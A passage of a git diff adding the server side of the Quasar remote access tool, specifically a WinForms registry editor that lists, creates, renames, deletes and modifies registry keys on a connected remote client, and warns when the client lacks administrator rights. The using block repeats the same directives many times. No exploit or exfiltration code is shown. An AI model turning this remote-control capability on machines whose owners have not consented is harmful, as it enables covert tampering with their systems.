"Delete"; + this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteRegistryKey_Click); + // + // renameToolStripMenuItem + // + this.renameToolStripMenuItem.Enabled = false; + this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; + this.renameToolStripMenuItem.Size = new System.Drawing.Size(132, 24); + this.renameToolStripMenuItem.Text = "Rename"; + this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameRegistryKey_Click); + // + // selectedItem_ContextMenuStrip + // + this.selectedItem_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.modifyToolStripMenuItem, + this.modifyBinaryDataToolStripMenuItem, + this.modifyToolStripSeparator1, + this.deleteToolStripMenuItem1, + this.renameToolStripMenuItem1}); + this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip"; + this.selectedItem_ContextMenuStrip.Size = new System.Drawing.Size(216, 106); + this.selectedItem_ContextMenuStrip.ForeColor = System.Drawing.Color.White; + // + // modifyToolStripMenuItem + // + this.modifyToolStripMenuItem.Enabled = false; + this.modifyToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.modifyToolStripMenuItem.Name = "modifyToolStripMenuItem"; + this.modifyToolStripMenuItem.Size = new System.Drawing.Size(215, 24); + this.modifyToolStripMenuItem.Text = "Modify..."; + this.modifyToolStripMenuItem.Click += new System.EventHandler(this.modifyRegistryValue_Click); + // + // modifyBinaryDataToolStripMenuItem + // + this.modifyBinaryDataToolStripMenuItem.Enabled = false; + this.modifyBinaryDataToolStripMenuItem.Name = "modifyBinaryDataToolStripMenuItem"; + this.modifyBinaryDataToolStripMenuItem.Size = new System.Drawing.Size(215, 24); + this.modifyBinaryDataToolStripMenuItem.Text = "Modify Binary Data..."; + this.modifyBinaryDataToolStripMenuItem.Click += new System.EventHandler(this.modifyBinaryDataRegistryValue_Click); + // + // modifyToolStripSeparator1 + // + this.modifyToolStripSeparator1.Name = "modifyToolStripSeparator1"; + this.modifyToolStripSeparator1.Size = new System.Drawing.Size(212, 6); + // + // deleteToolStripMenuItem1 + // + this.deleteToolStripMenuItem1.Name = "deleteToolStripMenuItem1"; + this.deleteToolStripMenuItem1.Size = new System.Drawing.Size(215, 24); + this.deleteToolStripMenuItem1.Text = "Delete"; + this.deleteToolStripMenuItem1.Click += new System.EventHandler(this.deleteRegistryValue_Click); + // + // renameToolStripMenuItem1 + // + this.renameToolStripMenuItem1.Name = "renameToolStripMenuItem1"; + this.renameToolStripMenuItem1.Size = new System.Drawing.Size(215, 24); + this.renameToolStripMenuItem1.Text = "Rename"; + this.renameToolStripMenuItem1.Click += new System.EventHandler(this.renameRegistryValue_Click); + // + // lst_ContextMenuStrip + // + this.lst_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.newToolStripMenuItem1}); + this.lst_ContextMenuStrip.Name = "lst_ContextMenuStrip"; + this.lst_ContextMenuStrip.Size = new System.Drawing.Size(109, 28); + this.lst_ContextMenuStrip.ForeColor = System.Drawing.Color.White; + // + // newToolStripMenuItem1 + // + this.newToolStripMenuItem1.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.keyToolStripMenuItem1, + this.toolStripSeparator4, + this.stringValueToolStripMenuItem1, + this.binaryValueToolStripMenuItem1, + this.dWORD32bitValueToolStripMenuItem1, + this.qWORD64bitValueToolStripMenuItem1, + this.multiStringValueToolStripMenuItem1, + this.expandableStringValueToolStripMenuItem1}); + this.newToolStripMenuItem1.Name = "newToolStripMenuItem1"; + this.newToolStripMenuItem1.Size = new System.Drawing.Size(108, 24); + this.newToolStripMenuItem1.Text = "New"; + // + // keyToolStripMenuItem1 + // + this.keyToolStripMenuItem1.Name = "keyToolStripMenuItem1"; + this.keyToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.keyToolStripMenuItem1.Text = "Key"; + this.keyToolStripMenuItem1.Click += new System.EventHandler(this.createNewRegistryKey_Click); + // + // toolStripSeparator4 + // + this.toolStripSeparator4.Name = "toolStripSeparator4"; + this.toolStripSeparator4.Size = new System.Drawing.Size(250, 6); + // + // stringValueToolStripMenuItem1 + // + this.stringValueToolStripMenuItem1.Name = "stringValueToolStripMenuItem1"; + this.stringValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.stringValueToolStripMenuItem1.Text = "String Value"; + this.stringValueToolStripMenuItem1.Click += new System.EventHandler(this.createStringRegistryValue_Click); + // + // binaryValueToolStripMenuItem1 + // + this.binaryValueToolStripMenuItem1.Name = "binaryValueToolStripMenuItem1"; + this.binaryValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.binaryValueToolStripMenuItem1.Text = "Binary Value"; + this.binaryValueToolStripMenuItem1.Click += new System.EventHandler(this.createBinaryRegistryValue_Click); + // + // dWORD32bitValueToolStripMenuItem1 + // + this.dWORD32bitValueToolStripMenuItem1.Name = "dWORD32bitValueToolStripMenuItem1"; + this.dWORD32bitValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.dWORD32bitValueToolStripMenuItem1.Text = "DWORD (32-bit) Value"; + this.dWORD32bitValueToolStripMenuItem1.Click += new System.EventHandler(this.createDwordRegistryValue_Click); + // + // qWORD64bitValueToolStripMenuItem1 + // + this.qWORD64bitValueToolStripMenuItem1.Name = "qWORD64bitValueToolStripMenuItem1"; + this.qWORD64bitValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.qWORD64bitValueToolStripMenuItem1.Text = "QWORD (64-bit) Value"; + this.qWORD64bitValueToolStripMenuItem1.Click += new System.EventHandler(this.createQwordRegistryValue_Click); + // + // multiStringValueToolStripMenuItem1 + // + this.multiStringValueToolStripMenuItem1.Name = "multiStringValueToolStripMenuItem1"; + this.multiStringValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.multiStringValueToolStripMenuItem1.Text = "Multi-String Value"; + this.multiStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createMultiStringRegistryValue_Click); + // + // expandableStringValueToolStripMenuItem1 + // + this.expandableStringValueToolStripMenuItem1.Name = "expandableStringValueToolStripMenuItem1"; + this.expandableStringValueToolStripMenuItem1.Size = new System.Drawing.Size(253, 26); + this.expandableStringValueToolStripMenuItem1.Text = "Expandable String Value"; + this.expandableStringValueToolStripMenuItem1.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); + // + // exitToolStripMenuItem + // + this.exitToolStripMenuItem.Name = "exitToolStripMenuItem"; + this.exitToolStripMenuItem.Size = new System.Drawing.Size(116, 26); + this.exitToolStripMenuItem.Text = "Exit"; + this.exitToolStripMenuItem.Click += new System.EventHandler(this.menuStripExit_Click); + // + // fileToolStripMenuItem + // + this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.exitToolStripMenuItem}); + this.fileToolStripMenuItem.Name = "fileToolStripMenuItem"; + this.fileToolStripMenuItem.Size = new System.Drawing.Size(46, 4); + this.fileToolStripMenuItem.Text = "File"; + // + // modifyToolStripMenuItem1 + // + this.modifyToolStripMenuItem1.Enabled = false; + this.modifyToolStripMenuItem1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.modifyToolStripMenuItem1.Name = "modifyToolStripMenuItem1"; + this.modifyToolStripMenuItem1.Size = new System.Drawing.Size(229, 26); + this.modifyToolStripMenuItem1.Text = "Modify..."; + this.modifyToolStripMenuItem1.Visible = false; + this.modifyToolStripMenuItem1.Click += new System.EventHandler(this.modifyRegistryValue_Click); + // + // modifyBinaryDataToolStripMenuItem1 + // + this.modifyBinaryDataToolStripMenuItem1.Enabled = false; + this.modifyBinaryDataToolStripMenuItem1.Name = "modifyBinaryDataToolStripMenuItem1"; + this.modifyBinaryDataToolStripMenuItem1.Size = new System.Drawing.Size(229, 26); + this.modifyBinaryDataToolStripMenuItem1.Text = "Modify Binary Data..."; + this.modifyBinaryDataToolStripMenuItem1.Visible = false; + this.modifyBinaryDataToolStripMenuItem1.Click += new System.EventHandler(this.modifyBinaryDataRegistryValue_Click); + // + // modifyNewtoolStripSeparator + // + this.modifyNewtoolStripSeparator.Name = "modifyNewtoolStripSeparator"; + this.modifyNewtoolStripSeparator.Size = new System.Drawing.Size(226, 6); + this.modifyNewtoolStripSeparator.Visible = false; + // + // newToolStripMenuItem2 + // + this.newToolStripMenuItem2.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.keyToolStripMenuItem2, + this.toolStripSeparator7, + this.stringValueToolStripMenuItem2, + this.binaryValueToolStripMenuItem2, + this.dWORD32bitValueToolStripMenuItem2, + this.qWORD64bitValueToolStripMenuItem2, + this.multiStringValueToolStripMenuItem2, + this.expandableStringValueToolStripMenuItem2}); + this.newToolStripMenuItem2.Name = "newToolStripMenuItem2"; + this.newToolStripMenuItem2.Size = new System.Drawing.Size(229, 26); + this.newToolStripMenuItem2.Text = "New"; + // + // keyToolStripMenuItem2 + // + this.keyToolStripMenuItem2.Name = "keyToolStripMenuItem2"; + this.keyToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.keyToolStripMenuItem2.Text = "Key"; + this.keyToolStripMenuItem2.Click += new System.EventHandler(this.createNewRegistryKey_Click); + // + // toolStripSeparator7 + // + this.toolStripSeparator7.Name = "toolStripSeparator7"; + this.toolStripSeparator7.Size = new System.Drawing.Size(250, 6); + // + // stringValueToolStripMenuItem2 + // + this.stringValueToolStripMenuItem2.Name = "stringValueToolStripMenuItem2"; + this.stringValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.stringValueToolStripMenuItem2.Text = "String Value"; + this.stringValueToolStripMenuItem2.Click += new System.EventHandler(this.createStringRegistryValue_Click); + // + // binaryValueToolStripMenuItem2 + // + this.binaryValueToolStripMenuItem2.Name = "binaryValueToolStripMenuItem2"; + this.binaryValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.binaryValueToolStripMenuItem2.Text = "Binary Value"; + this.binaryValueToolStripMenuItem2.Click += new System.EventHandler(this.createBinaryRegistryValue_Click); + // + // dWORD32bitValueToolStripMenuItem2 + // + this.dWORD32bitValueToolStripMenuItem2.Name = "dWORD32bitValueToolStripMenuItem2"; + this.dWORD32bitValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.dWORD32bitValueToolStripMenuItem2.Text = "DWORD (32-bit) Value"; + this.dWORD32bitValueToolStripMenuItem2.Click += new System.EventHandler(this.createDwordRegistryValue_Click); + // + // qWORD64bitValueToolStripMenuItem2 + // + this.qWORD64bitValueToolStripMenuItem2.Name = "qWORD64bitValueToolStripMenuItem2"; + this.qWORD64bitValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.qWORD64bitValueToolStripMenuItem2.Text = "QWORD (64-bit) Value"; + this.qWORD64bitValueToolStripMenuItem2.Click += new System.EventHandler(this.createQwordRegistryValue_Click); + // + // multiStringValueToolStripMenuItem2 + // + this.multiStringValueToolStripMenuItem2.Name = "multiStringValueToolStripMenuItem2"; + this.multiStringValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.multiStringValueToolStripMenuItem2.Text = "Multi-String Value"; + this.multiStringValueToolStripMenuItem2.Click += new System.EventHandler(this.createMultiStringRegistryValue_Click); + // + // expandableStringValueToolStripMenuItem2 + // + this.expandableStringValueToolStripMenuItem2.Name = "expandableStringValueToolStripMenuItem2"; + this.expandableStringValueToolStripMenuItem2.Size = new System.Drawing.Size(253, 26); + this.expandableStringValueToolStripMenuItem2.Text = "Expandable String Value"; + this.expandableStringValueToolStripMenuItem2.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); + // + // toolStripSeparator6 + // + this.toolStripSeparator6.Name = "toolStripSeparator6"; + this.toolStripSeparator6.Size = new System.Drawing.Size(226, 6); + // + // deleteToolStripMenuItem2 + // + this.deleteToolStripMenuItem2.Enabled = false; + this.deleteToolStripMenuItem2.Name = "deleteToolStripMenuItem2"; + this.deleteToolStripMenuItem2.ShortcutKeyDisplayString = "Del"; + this.deleteToolStripMenuItem2.Size = new System.Drawing.Size(229, 26); + this.deleteToolStripMenuItem2.Text = "Delete"; + this.deleteToolStripMenuItem2.Click += new System.EventHandler(this.menuStripDelete_Click); + // + // renameToolStripMenuItem2 + // + this.renameToolStripMenuItem2.Enabled = false; + this.renameToolStripMenuItem2.Name = "renameToolStripMenuItem2"; + this.renameToolStripMenuItem2.Size = new System.Drawing.Size(229, 26); + this.renameToolStripMenuItem2.Text = "Rename"; + this.renameToolStripMenuItem2.Click += new System.EventHandler(this.menuStripRename_Click); + // + // editToolStripMenuItem + // + this.editToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.modifyToolStripMenuItem1, + this.modifyBinaryDataToolStripMenuItem1, + this.modifyNewtoolStripSeparator, + this.newToolStripMenuItem2, + this.toolStripSeparator6, + this.deleteToolStripMenuItem2, + this.renameToolStripMenuItem2}); + this.editToolStripMenuItem.Name = "editToolStripMenuItem"; + this.editToolStripMenuItem.Size = new System.Drawing.Size(49, 4); + this.editToolStripMenuItem.Text = "Edit"; + this.editToolStripMenuItem.DropDownOpening += new System.EventHandler(this.editToolStripMenuItem_DropDownOpening); + // + // tvRegistryDirectory + // + this.tvRegistryDirectory.Dock = System.Windows.Forms.DockStyle.Fill; + this.tvRegistryDirectory.ForeColor = System.Drawing.Color.White; + this.tvRegistryDirectory.HideSelection = false; + this.tvRegistryDirectory.ImageIndex = 0; + this.tvRegistryDirectory.ImageList = this.imageRegistryDirectoryList; + this.tvRegistryDirectory.Location = new System.Drawing.Point(0, 0); + this.tvRegistryDirectory.Margin = new System.Windows.Forms.Padding(4); + this.tvRegistryDirectory.Name = "tvRegistryDirectory"; + this.tvRegistryDirectory.SelectedImageIndex = 0; + this.tvRegistryDirectory.Size = new System.Drawing.Size(319, 614); + this.tvRegistryDirectory.TabIndex = 0; + this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); + this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); + this.tvRegistryDirectory.BeforeSelect += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeSelect); + this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick); + this.tvRegistryDirectory.KeyUp += new System.Windows.Forms.KeyEventHandler(this.tvRegistryDirectory_KeyUp); + // + // lstRegistryValues + // + this.lstRegistryValues.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hName, + this.hType, + this.hValue}); + this.lstRegistryValues.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstRegistryValues.ForeColor = System.Drawing.Color.White; + this.lstRegistryValues.FullRowSelect = true; + this.lstRegistryValues.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.lstRegistryValues.HideSelection = false; + this.lstRegistryValues.Location = new System.Drawing.Point(0, 0); + listViewColumnSorter2.NeedNumberCompare = false; + listViewColumnSorter2.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter2.SortColumn = 0; + this.lstRegistryValues.LvwColumnSorter = listViewColumnSorter2; + this.lstRegistryValues.Margin = new System.Windows.Forms.Padding(4); + this.lstRegistryValues.Name = "lstRegistryValues"; + this.lstRegistryValues.Size = new System.Drawing.Size(751, 614); + this.lstRegistryValues.SmallImageList = this.imageRegistryKeyTypeList; + this.lstRegistryValues.TabIndex = 0; + this.lstRegistryValues.UseCompatibleStateImageBehavior = false; + this.lstRegistryValues.View = System.Windows.Forms.View.Details; + this.lstRegistryValues.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit); + this.lstRegistryValues.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp); + this.lstRegistryValues.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick); + // + // hName + // + this.hName.Text = "Name"; + this.hName.Width = 173; + // + // hType + // + this.hType.Text = "Type"; + this.hType.Width = 104; + // + // hValue + // + this.hValue.Text = "Value"; + this.hValue.Width = 214; + // + // FrmRegistryEditor + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1083, 701); + this.Controls.Add(this.tableLayoutPanel); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.Black; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.Name = "FrmRegistryEditor"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Registry Editor []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRegistryEditor_FormClosing); + this.Load += new System.EventHandler(this.FrmRegistryEditor_Load); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.splitContainer.Panel1.ResumeLayout(false); + this.splitContainer.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).EndInit(); + this.splitContainer.ResumeLayout(false); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.searchPanel.ResumeLayout(false); + this.searchPanel.PerformLayout(); + this.tv_ContextMenuStrip.ResumeLayout(false); + this.selectedItem_ContextMenuStrip.ResumeLayout(false); + this.lst_ContextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + private System.Windows.Forms.Panel searchPanel; + private System.Windows.Forms.Button btnNavigate; + private System.Windows.Forms.TextBox txtSearchPath; + private System.Windows.Forms.Label lblSearch; + private System.Windows.Forms.SplitContainer splitContainer; + private Controls.RegistryTreeView tvRegistryDirectory; + private Controls.AeroListView lstRegistryValues; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.ToolStripStatusLabel selectedStripStatusLabel; + private System.Windows.Forms.ImageList imageRegistryDirectoryList; + private System.Windows.Forms.ColumnHeader hName; + private System.Windows.Forms.ColumnHeader hType; + private System.Windows.Forms.ColumnHeader hValue; + private System.Windows.Forms.ImageList imageRegistryKeyTypeList; + private System.Windows.Forms.ContextMenuStrip tv_ContextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem keyToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator2; + private System.Windows.Forms.ToolStripMenuItem stringValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem; + private System.Windows.Forms.ContextMenuStrip selectedItem_ContextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem modifyToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem modifyBinaryDataToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem1; + private System.Windows.Forms.ContextMenuStrip lst_ContextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem keyToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem stringValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem1; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator4; + private System.Windows.Forms.MenuStrip menuStrip; + private System.Windows.Forms.ToolStripSeparator modifyToolStripSeparator1; + private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem editToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem modifyToolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem modifyBinaryDataToolStripMenuItem1; + private System.Windows.Forms.ToolStripSeparator modifyNewtoolStripSeparator; + private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem keyToolStripMenuItem2; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator7; + private System.Windows.Forms.ToolStripMenuItem stringValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem2; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator6; + private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem2; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.cs new file mode 100755 index 0000000..3ef3414 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.cs @@ -0,0 +1,1009 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Windows.Forms; +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Controls; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Extensions; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Registry; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegistryEditor : Form + { + /// + /// The client which can be used for the registry editor. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly RegistryHandler _registryHandler; + + /// + /// Holds the opened registry editor form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new registry editor form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the registry editor form. + /// + /// Returns a new registry editor form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRegistryEditor CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRegistryEditor f = new FrmRegistryEditor(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the registry editor form. + public FrmRegistryEditor(Client client) + { + _connectClient = client; + _registryHandler = new RegistryHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the registry editor handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _registryHandler.ProgressChanged += ShowErrorMessage; + _registryHandler.KeysReceived += AddKeys; + _registryHandler.KeyCreated += CreateNewKey; + _registryHandler.KeyDeleted += DeleteKey; + _registryHandler.KeyRenamed += RenameKey; + _registryHandler.ValueCreated += CreateValue; + _registryHandler.ValueDeleted += DeleteValue; + _registryHandler.ValueRenamed += RenameValue; + _registryHandler.ValueChanged += ChangeValue; + MessageHandler.Register(_registryHandler); + } + + /// + /// Unregisters the registry editor message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_registryHandler); + _registryHandler.ProgressChanged -= ShowErrorMessage; + _registryHandler.KeysReceived -= AddKeys; + _registryHandler.KeyCreated -= CreateNewKey; + _registryHandler.KeyDeleted -= DeleteKey; + _registryHandler.KeyRenamed -= RenameKey; + _registryHandler.ValueCreated -= CreateValue; + _registryHandler.ValueDeleted -= DeleteValue; + _registryHandler.ValueRenamed -= RenameValue; + _registryHandler.ValueChanged -= ChangeValue; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.ExStyle |= 0x02000000; //WS_EX_COMPOSITED + return cp; + } + } + + private void FrmRegistryEditor_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + if (_connectClient.Value.AccountType != "Admin") + { + MessageBox.Show( + "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!", + "Alert!", MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + + this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient); + + // signal client to retrive the root nodes (indicated by null) + _registryHandler.LoadRegistryKey(null); + } + + private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e) + { + // Cancel any pending navigation + _pendingNavigationPath = null; + _currentNavigationIndex = 0; + + UnregisterMessageHandler(); + } + + private void ShowErrorMessage(object sender, string errorMsg) + { + MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + + #region TreeView helper functions + + private void AddRootKey(RegSeekerMatch match) + { + TreeNode node = CreateNode(match.Key, match.Key, match.Data); + node.Nodes.Add(new TreeNode()); + tvRegistryDirectory.Nodes.Add(node); + } + + private TreeNode AddKeyToTree(TreeNode parent, RegSeekerMatch subKey) + { + TreeNode node = CreateNode(subKey.Key, subKey.Key, subKey.Data); + parent.Nodes.Add(node); + if (subKey.HasSubKeys) + node.Nodes.Add(new TreeNode()); + return node; + } + + private TreeNode CreateNode(string key, string text, object tag) + { + return new TreeNode() + { + Text = text, + Name = key, + Tag = tag + }; + } + + private void AddKeys(object sender, string rootKey, RegSeekerMatch[] matches) + { + if (string.IsNullOrEmpty(rootKey)) + { + tvRegistryDirectory.BeginUpdate(); + + foreach (var match in matches) + AddRootKey(match); + + tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0]; + + tvRegistryDirectory.EndUpdate(); + } + else + { + TreeNode parent = GetTreeNode(rootKey); + + if (parent != null) + { + // Suspend layout for better performance + tvRegistryDirectory.SuspendLayout(); + tvRegistryDirectory.BeginUpdate(); + + try + { + // Add nodes in batch + TreeNode[] nodes = new TreeNode[matches.Length]; + for (int i = 0; i < matches.Length; i++) + { + var match = matches[i]; + TreeNode node = CreateNode(match.Key, match.Key, match.Data); + if (match.HasSubKeys) + node.Nodes.Add(new TreeNode()); + nodes[i] = node; + } + + parent.Nodes.AddRange(nodes); + parent.Expand(); + } + finally + { + tvRegistryDirectory.EndUpdate(); + tvRegistryDirectory.ResumeLayout(); + } + + // Continue navigation if we're in the middle of one + // Check if form is not closing before continuing + if (_pendingNavigationPath != null && !this.IsDisposed && !this.Disposing && + parent.FullPath == string.Join("\\", _pendingNavigationPath, 0, _currentNavigationIndex)) + { + ContinueNavigation(parent); + } + } + } + } + + private void CreateNewKey(object sender, string rootKey, RegSeekerMatch match) + { + TreeNode parent = GetTreeNode(rootKey); + + TreeNode node = AddKeyToTree(parent, match); + + node.EnsureVisible(); + + tvRegistryDirectory.SelectedNode = node; + node.Expand(); + tvRegistryDirectory.LabelEdit = true; + node.BeginEdit(); + } + + private void DeleteKey(object sender, string rootKey, string subKey) + { + TreeNode parent = GetTreeNode(rootKey); + + if (parent.Nodes.ContainsKey(subKey)) { + parent.Nodes.RemoveByKey(subKey); + } + } + + private void RenameKey(object sender, string rootKey, string oldName, string newName) + { + TreeNode parent = GetTreeNode(rootKey); + + if (parent.Nodes.ContainsKey(oldName)) + { + parent.Nodes[oldName].Text = newName; + parent.Nodes[oldName].Name = newName; + + tvRegistryDirectory.SelectedNode = parent.Nodes[newName]; + } + } + + /// + /// Tries to find the desired TreeNode given the full path to it. + /// + /// The full path to the TreeNode. + /// Null if an invalid name is passed or the TreeNode could not be found; The TreeNode represented by the full path. + private TreeNode GetTreeNode(string path) + { + string[] nodePath = path.Split(new char[] { '\\' }); + + TreeNode lastNode = tvRegistryDirectory.Nodes[nodePath[0]]; + if (lastNode == null) + return null; + + for (int i 